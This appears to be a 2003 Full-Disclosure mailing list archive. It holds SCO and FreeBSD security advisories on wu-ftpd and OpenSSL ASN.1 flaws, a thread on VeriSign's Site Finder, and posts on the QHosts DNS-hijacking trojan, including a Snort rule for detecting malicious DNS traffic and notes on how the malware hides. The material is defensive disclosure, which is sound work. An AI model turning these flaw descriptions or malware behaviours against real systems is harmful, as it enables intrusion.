System Package ---------------------------------------------------------------------- OpenLinux 3.1.1 Server prior to wu-ftpd-2.6.1-14.i386.rpm OpenLinux 3.1.1 Workstation prior to wu-ftpd-2.6.1-14.i386.rpm 3. Solution The proper solution is to install the latest packages. Many customers find it easier to use the Caldera System Updater, called cupdate (or kcupdate under the KDE environment), to update these packages rather than downloading and installing them by hand. 4. OpenLinux 3.1.1 Server 4.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-024.0/RPMS 4.2 Packages 5dfb4811abe8ccf46d8c523b13ef34d1 wu-ftpd-2.6.1-14.i386.rpm 4.3 Installation rpm -Fvh wu-ftpd-2.6.1-14.i386.rpm 4.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Server/CSSA-2003-024.0/SRPMS 4.5 Source Packages 13d7a9857c9151477e20e49f25d48169 wu-ftpd-2.6.1-14.src.rpm 5. OpenLinux 3.1.1 Workstation 5.1 Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-024.0/RPMS 5.2 Packages 05b6a116c8160033f16b7c52611c1f86 wu-ftpd-2.6.1-14.i386.rpm 5.3 Installation rpm -Fvh wu-ftpd-2.6.1-14.i386.rpm 5.4 Source Package Location ftp://ftp.sco.com/pub/updates/OpenLinux/3.1.1/Workstation/CSSA-2003-024.0/SRPMS 5.5 Source Packages b53bca2a2dcce72aa0f15c661961d2b6 wu-ftpd-2.6.1-14.src.rpm 6. References SCO security resources: http://www.sco.com/support/security/index.html This security fix closes SCO incidents sr882340 fz528117 erg712364. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj94iDAACgkQbluZssSXDTFPOgCfUrIFx1+jG+51w04qHaFxD4eT KGgAni1FaEkMP36sPMlA6vkkPgLHsHwV =zh3M -----END PGP SIGNATURE----- From jonathan at nuclearelephant.com Sat Oct 4 00:01:57 2003 From: jonathan at nuclearelephant.com (Jonathan A. Zdziarski) Date: Fri, 03 Oct 2003 19:01:57 -0400 Subject: [Full-Disclosure] Has Verisign time arrived ? In-Reply-To: <200310032206.h93M6lj03654@storage.mshome.net> References: <200310032206.h93M6lj03654@storage.mshome.net> Message-ID: <1065222116.28969.13.camel@tantor.nuclearelephant.com> Just in case nobody saw Verisign's response: http://biz.yahoo.com/prnews/031003/sff057_1.html VeriSign Will Temporarily Suspend Web Navigation Service in Order to Continue To Work With Internet Community Towards a Long-Term Implementation MOUNTAIN VIEW, Calif., Oct. 3 /PRNewswire-FirstCall/ -- VeriSign, Inc. (Nasdaq: VRSN - News), the leading provider of critical infrastructure services for the Internet and telecommunications networks, today announced that it will temporarily suspend its Site Finder, a new service to improve Web navigation for Internet users. From jonathan at nuclearelephant.com Fri Oct 3 23:56:48 2003 From: jonathan at nuclearelephant.com (Jonathan A. Zdziarski) Date: Fri, 03 Oct 2003 18:56:48 -0400 Subject: [Full-Disclosure] Has Verisign time arrived ? In-Reply-To: <019501c389f2$94e25e20$531efea9@stickslinger> References: <019501c389f2$94e25e20$531efea9@stickslinger> Message-ID: <1065221807.28969.8.camel@tantor.nuclearelephant.com> The issue isn't the service itself...the issue is the large number of privacy violations combined with Verisign's anti-competitive history (http://www.nuclearelephant.com/papers/verisign.html). Is catching a type-o really worth the risk of your personal information, passwords, session ids, and addresses of the people you email getting out to marketing agencies? I think not. A type of type-o catch is a great idea, and should definitely be implemented __as a software solution__ in web browsers...where it doesn't affect the entire Internet community, and there is less of a privacy risk. Then, any privacy issues you DO have can be easily remedied by using a better browser. Jonathan > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Truly sad. I personally liked the service... I'm prone to typoz (did I mean typos?) with every sentence I write. > > - -- "I always wonder why people choose to support MS and then complain about all of these issues that are known in advance." From security-advisories at freebsd.org Fri Oct 3 23:49:34 2003 From: security-advisories at freebsd.org (FreeBSD Security Advisories) Date: Fri, 3 Oct 2003 15:49:34 -0700 (PDT) Subject: [Full-Disclosure] FreeBSD Security Advisory FreeBSD-SA-03:18.openssl Message-ID: <200310032249.h93MnYqZ047867@freefall.freebsd.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-03:18.openssl Security Advisory The FreeBSD Project Topic: OpenSSL vulnerabilities in ASN.1 parsing Category: crypto Module: openssl Announced: 2003-10-03 Credits: NISCC Dr. Stephen Henson Affects: FreeBSD versions 4.0-RELEASE through 4.8-RELEASE, 5.0-RELEASE, and 5.1-RELEASE 4-STABLE prior to the correction date Corrected: 2003-10-03 01:32:13 UTC (RELENG_4, 4.9-RC) 2003-10-03 18:13:19 UTC (RELENG_5_1, 5.1-RELEASE-p10) 2003-10-03 20:22:27 UTC (RELENG_5_0, 5.0-RELEASE-p18) 2003-10-03 18:14:26 UTC (RELENG_4_8, 4.8-RELEASE-p13) 2003-10-03 20:24:31 UTC (RELENG_4_7, 4.7-RELEASE-p23) 2003-10-03 20:24:59 UTC (RELENG_4_6, 4.6.2-RELEASE-p26) FreeBSD only: NO I. Background FreeBSD includes software from the OpenSSL Project. The OpenSSL Project is a collaborative effort to develop a robust, commercial- grade, full-featured, and Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. II. Problem Description This advisory addresses four separate flaws recently fixed in OpenSSL. The flaws are described in the following excerpt from the OpenSSL.org advisory (see references): 1. Certain ASN.1 encodings that are rejected as invalid by the parser can trigger a bug in the deallocation of the corresponding data structure, corrupting the stack. This can be used as a denial of service attack. It is currently unknown whether this can be exploited to run malicious code. This issue does not affect OpenSSL 0.9.6. 2. Unusual ASN.1 tag values can cause an out of bounds read under certain circumstances, resulting in a denial of service vulnerability. 3. A malformed public key in a certificate will crash the verify code if it is set to ignore public key decoding errors. Public key decode errors are not normally ignored, except for debugging purposes, so this is unlikely to affect production code. Exploitation of an affected application would result in a denial of service vulnerability. 4. Due to an error in the SSL/TLS protocol handling, a server will parse a client certificate when one is not specifically requested. This by itself is not strictly speaking a vulnerability but it does mean that *all* SSL/TLS servers that use OpenSSL can be attacked using vulnerabilities 1, 2 and 3 even if they don't enable client authentication. III. Impact A remote attacker may create a malicious ASN.1 encoded message that will cause an OpenSSL-using application to crash, or even perhaps execute arbitrary code with the privileges of the application. Only applications that use OpenSSL's ASN.1 or X.509 handling code are affected. Applications that use other portions of OpenSSL are unaffected (e.g. Apache+mod_ssl is affected, while OpenSSH is unaffected). IV. Workaround No workaround is available. V. Solution Perform one of the following: 1) Upgrade your vulnerable system to 4-STABLE; or to the RELENG_5_1, RELENG_4_8, or RELENG_4_7 security branch dated after the correction date. 2) To patch your present system: The following patches have been verified to apply to FreeBSD 4.6, 4.7, 4.8, 5.0, and 5.1 systems. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. [FreeBSD 4.6, 4.7, 5.0 -- be sure you have previously applied the patches for advisories FreeBSD-SA-03:02 and FreeBSD-SA-03:06 before applying this patch.] # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:18/openssl96.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:18/openssl96.patch.asc [FreeBSD 4.8, 5.1] # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:18/openssl97.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-03:18/openssl97.patch.asc b) Execute the following commands as root: # cd /usr/src # patch < /path/to/patch c) Recompile the operating system as described in . Note that any statically linked applications that are not part of the base system (i.e. from the Ports Collection or other 3rd-party sources) must be recompiled. All affected applications must be restarted for them to use the corrected library. Though not required, rebooting may be the easiest way to accomplish this. VI. Correction details The following list contains the revision numbers of each file that was corrected in FreeBSD. Branch Revision Path - ------------------------------------------------------------------------- RELENG_5_1 src/UPDATING 1.251.2.12 src/crypto/openssl/crypto/asn1/asn1_lib.c 1.1.1.8.2.1 src/crypto/openssl/crypto/asn1/tasn_dec.c 1.1.1.1.4.1 src/crypto/openssl/crypto/x509/x509_vfy.c 1.1.1.5.2.1 src/crypto/openssl/ssl/s3_srvr.c 1.1.1.11.2.1 src/sys/conf/newvers.sh 1.50.2.12 RELENG_5_0 src/UPDATING 1.229.2.24 src/crypto/openssl/crypto/asn1/asn1_lib.c 1.1.1.7.2.1 src/crypto/openssl/crypto/x509/x509_vfy.c 1.1.1.4.2.2 src/crypto/openssl/ssl/s3_srvr.c 1.1.1.9.2.3 src/sys/conf/newvers.sh 1.48.2.19 RELENG_4_8 src/UPDATING 1.73.2.80.2.15 src/crypto/openssl/crypto/asn1/asn1_lib.c 1.1.1.1.2.7.2.1 src/crypto/openssl/crypto/asn1/tasn_dec.c 1.1.1.1.2.1.2.1 src/crypto/openssl/crypto/x509/x509_vfy.c 1.1.1.1.2.4.2.1 src/crypto/openssl/ssl/s3_srvr.c 1.1.1.1.2.7.2.1 src/sys/conf/newvers.sh 1.44.2.29.2.14 RELENG_4_7 src/UPDATING 1.73.2.74.2.26 src/crypto/openssl/crypto/asn1/asn1_lib.c 1.1.1.1.2.6.2.1 src/crypto/openssl/crypto/x509/x509_vfy.c 1.1.1.1.2.3.2.2 src/crypto/openssl/ssl/s3_srvr.c 1.1.1.1.2.5.2.3 src/sys/conf/newvers.sh 1.44.2.26.2.25 RELENG_4_6 src/UPDATING 1.73.2.68.2.55 src/crypto/openssl/crypto/asn1/asn1_lib.c 1.1.1.1.2.3.6.4 src/crypto/openssl/crypto/x509/x509_vfy.c 1.1.1.1.2.2.8.3 src/crypto/openssl/ssl/s3_srvr.c 1.1.1.1.2.3.6.4 src/sys/conf/newvers.sh 1.44.2.23.2.43 - ------------------------------------------------------------------------- VII. References -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (FreeBSD) iD4DBQE/fe+bFdaIBMps37IRAmp8AKCDqpNf+MCJ6K1eFyWPul/cnjSzTgCY8hd6 IIOxA/5Hl4quuh64va5/5A== =1DI+ -----END PGP SIGNATURE----- _______________________________________________ freebsd-security-notifications at freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-security-notifications To unsubscribe, send any mail to "freebsd-security-notifications-unsubscribe at freebsd.org" From nodialtone at comcast.net Sat Oct 4 00:36:47 2003 From: nodialtone at comcast.net (Byron Copeland) Date: Fri, 3 Oct 2003 19:36:47 -0400 Subject: [Full-Disclosure] Has Verisign time arrived ? In-Reply-To: <1065221807.28969.8.camel@tantor.nuclearelephant.com> Message-ID: <019701c38a07$36a34620$531efea9@stickslinger> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 If you build it, they will come. Cut the crapola... I think you're in denial. Where is there a privacy issue here? - -- "I always wonder why people choose to support MS and then complain about all of these issues that are known in advance." > -----Original Message----- > From: Jonathan A. Zdziarski [mailto:jonathan at nuclearelephant.com] > Sent: Friday, October 03, 2003 6:57 PM > To: Byron Copeland > Cc: 'Frank Knobbe'; full-disclosure at lists.netsys.com > Subject: RE: [Full-Disclosure] Has Verisign time arrived ? > > The issue isn't the service itself...the issue is the large number of > privacy violations combined with Verisign's anti-competitive history > (http://www.nuclearelephant.com/papers/verisign.html). Is catching a > type-o really worth the risk of your personal information, passwords, > session ids, and addresses of the people you email getting out to > marketing agencies? I think not. > > A type of type-o catch is a great idea, and should definitely be > implemented __as a software solution__ in web browsers...where it > doesn't affect the entire Internet community, and there is less of a > privacy risk. Then, any privacy issues you DO have can be easily > remedied by using a better browser. > > Jonathan > > > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > Truly sad. I personally liked the service... I'm prone to typoz (did I > mean typos?) with every sentence I write. > > > > - -- "I always wonder why people choose to support MS and then complain > about all of these issues that are known in advance." -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBP34ID2HZJr/4PEW4EQKN/ACfaFQN1z8P+n17vOj9+vk8ebNbkdsAn0k0 yOU09H0iNQkj9bQyVWP2/Nlx =BKhj -----END PGP SIGNATURE----- From jonathan at nuclearelephant.com Sat Oct 4 00:45:35 2003 From: jonathan at nuclearelephant.com (Jonathan A. Zdziarski) Date: Fri, 03 Oct 2003 19:45:35 -0400 Subject: [Full-Disclosure] Has Verisign time arrived ? In-Reply-To: <019701c38a07$36a34620$531efea9@stickslinger> References: <019701c38a07$36a34620$531efea9@stickslinger> Message-ID: <1065224735.28969.18.camel@tantor.nuclearelephant.com> Since this sounds like troll bait, I'll just say it has already been discussed in great detail on this list. If you're new here, I would suggest searching for Verisign in the recent (<1 month ago) archives. > Cut the crapola... I think you're in denial. Where is there a privacy issue here? From jonathan at nuclearelephant.com Sat Oct 4 00:57:16 2003 From: jonathan at nuclearelephant.com (Jonathan A. Zdziarski) Date: Fri, 03 Oct 2003 19:57:16 -0400 Subject: [Full-Disclosure] Fw: Removal of wildcard A records from .com and .net zones In-Reply-To: <01ea01c38a01$0c8fb1d0$0200000a@jamesnew> References: <01ea01c38a01$0c8fb1d0$0200000a@jamesnew> Message-ID: <1065225436.28969.25.camel@tantor.nuclearelephant.com> ... Get ready for all the tools you fixed to start breaking again ... (It's worth it though) From pauls at utdallas.edu Sat Oct 4 01:07:40 2003 From: pauls at utdallas.edu (Paul Schmehl) Date: Fri, 03 Oct 2003 19:07:40 -0500 Subject: [Snort-sigs] Re: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <3F7C0BFC.5040909@jackhammer.org> References: <3F7B84E9.60500@jackhammer.org> <3F7C0BFC.5040909@jackhammer.org> Message-ID: <590053051.1065208060@[192.168.2.119]> --On Thursday, October 02, 2003 6:29 AM -0500 Paul Tinsley wrote: > Someone brought to my attention that I neglected udp (thank you Adam), > sorry about that I was in a hurry when I posted this, there is another > just like the tcp one that says udp :) Both are being triggered by the > clients affected as one would expect, so for full coverage, do both. Wouldn't it make more sense to use: alert ip $HOME_NET any > $MAL_DNS 53 blah, blah, blah....instead of having two rules? (That's what I'm using, and it's working fine.) Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu From jonathan at nuclearelephant.com Sat Oct 4 01:41:47 2003 From: jonathan at nuclearelephant.com (Jonathan A. Zdziarski) Date: Fri, 03 Oct 2003 20:41:47 -0400 Subject: [Full-Disclosure] RE: [Troll-Disclosure] Has Verisign time arrived ? In-Reply-To: <1065224735.28969.18.camel@tantor.nuclearelephant.com> References: <019701c38a07$36a34620$531efea9@stickslinger> <1065224735.28969.18.camel@tantor.nuclearelephant.com> Message-ID: <1065228107.28969.40.camel@tantor.nuclearelephant.com> Don't you have anything better to do? We really need two lists: one moderated list for professionals who just want the facts, and a trolling list. From JThomas at poweronemedia.com Sat Oct 4 02:08:05 2003 From: JThomas at poweronemedia.com (Joshua Thomas) Date: Fri, 3 Oct 2003 21:08:05 -0400 Subject: [Full-Disclosure] RE: [Troll-Disclosure] Has Verisign time ar rived ? Message-ID: <6E4A626CCE3C664F81F478A3674A40F8019D23AC@epimetheus.adone.com> > Don't you have anything better to do? We really need two lists: one > moderated list for professionals who just want the facts, That was tried with BugTraq; but look where you're posting now. Cheers, Joshua Thomas -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20031003/ff63397f/attachment.html From pdt at jackhammer.org Sat Oct 4 02:10:08 2003 From: pdt at jackhammer.org (Paul Tinsley) Date: Fri, 03 Oct 2003 20:10:08 -0500 Subject: [Snort-sigs] Re: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <590053051.1065208060@[192.168.2.119]> References: <3F7B84E9.60500@jackhammer.org> <3F7C0BFC.5040909@jackhammer.org> <590053051.1065208060@[192.168.2.119]> Message-ID: <3F7E1DF0.6030207@jackhammer.org> Yep it would, I threw those up real quick just to try and get some visibility as to how much we were being affected by it. Didn't put much thought into it. Just out of curiosity how many of those out there who are using this or other similar rules are still seeing traffic to those servers? I have seen a steady flow of them even though the servers that were distributing the malicious code seem to be down. I have written a script that gives me (from proxy logs) the union of all URLS visited by those "infected" and I can't seem to track down a common url that looks to be an infection vector. Has anybody seen a mail based version of this? Paul Schmehl wrote: > --On Thursday, October 02, 2003 6:29 AM -0500 Paul Tinsley > wrote: > >> Someone brought to my attention that I neglected udp (thank you Adam), >> sorry about that I was in a hurry when I posted this, there is another >> just like the tcp one that says udp :) Both are being triggered by the >> clients affected as one would expect, so for full coverage, do both. > > > Wouldn't it make more sense to use: > > alert ip $HOME_NET any > $MAL_DNS 53 blah, blah, blah....instead of > having two rules? > > (That's what I'm using, and it's working fine.) > > Paul Schmehl (pauls at utdallas.edu) > Adjunct Information Security Officer > The University of Texas at Dallas > AVIEN Founding Member > http://www.utdallas.edu > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html From jonathan at nuclearelephant.com Sat Oct 4 02:12:27 2003 From: jonathan at nuclearelephant.com (Jonathan A. Zdziarski) Date: Fri, 03 Oct 2003 21:12:27 -0400 Subject: [Full-Disclosure] RE: [Troll-Disclosure] Has Verisign time ar rived ? In-Reply-To: <6E4A626CCE3C664F81F478A3674A40F8019D23AC@epimetheus.adone.com> References: <6E4A626CCE3C664F81F478A3674A40F8019D23AC@epimetheus.adone.com> Message-ID: <1065229947.28969.51.camel@tantor.nuclearelephant.com> Honestly I don't think it was the multiple lists that had anything to do with Bugtraq; it was probably more closely related to the $75 million dollars Symantec paid for ALL the lists...just a shot in the dark though. From tgood at mindsecurity.net Sat Oct 4 02:30:10 2003 From: tgood at mindsecurity.net (Travis Good) Date: Fri, 3 Oct 2003 20:30:10 -0500 (CDT) Subject: [Full-Disclosure] Fw: Removal of wildcard A records from .com and .net zones In-Reply-To: <01ea01c38a01$0c8fb1d0$0200000a@jamesnew> References: <01ea01c38a01$0c8fb1d0$0200000a@jamesnew> Message-ID: Good to see they want to give the community notice, like they did with their original change. On Fri, 3 Oct 2003, james wrote: > > ----- Original Message ----- > From: "Matt Larson" > To: > Sent: Friday, October 03, 2003 3:50 PM > Subject: Removal of wildcard A records from .com and .net zones > > > : > : VeriSign was directed by ICANN to suspend the Site Finder service by > : 0100 UTC on Sunday, October 5. We requested an extension from ICANN > : to give more notice to the community but were denied. We will be > : removing the wildcard A records from the .com and .net zones beginning > : at 2300 UTC on Saturday, October 4. The former behavior for these > : zones (returning Name Error/RCODE=3 in response to queries for > : nonexistent domain names) will be in place by 0100 UTC on Sunday, > : October. > : > : Matt > : -- > : Matt Larson > : VeriSign Naming and Directory Services > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > Travis Good, CISSP From dowlingg at sullcrom.com Sat Oct 4 03:09:37 2003 From: dowlingg at sullcrom.com (Dowling, Gabrielle) Date: Fri, 3 Oct 2003 22:09:37 -0400 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: I haven't seen anything that indicates the hosts file and registry files have changed from those originally described. Aolfix will be gone when you look since it deletes itself after doing the other changed. Some of the registry keys that were discussed on this list previously are guids for nics that would of course vary. Symantec has full info, and also a removal tool that will at least help with the registy entries. This self removal aspect of qhostsis rather a nasty, and should be noted. We had one av workstation detection today due to the temporary internet files haing an affected hta file, but given that we clear those on restart and that the exeutable deletes itself, av is probably of no help for already affectewd boxes, so we'll have to implement other things to check that. G -----Original Message----- From: Mike O'Connor Sent: Fri Oct 03 20:14:48 2003 To: full-disclosure at lists.netsys.com Subject: RE: [Full-Disclosure] Mystery DNS Changes I have the described behaviour when visiting google.com, but have neither the aolfix.exe nor registry entries, on my XP box. Where would one find the registry entry for the current DNS(s)? _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html ********************************************************************** This e-mail is sent by a law firm and contains inform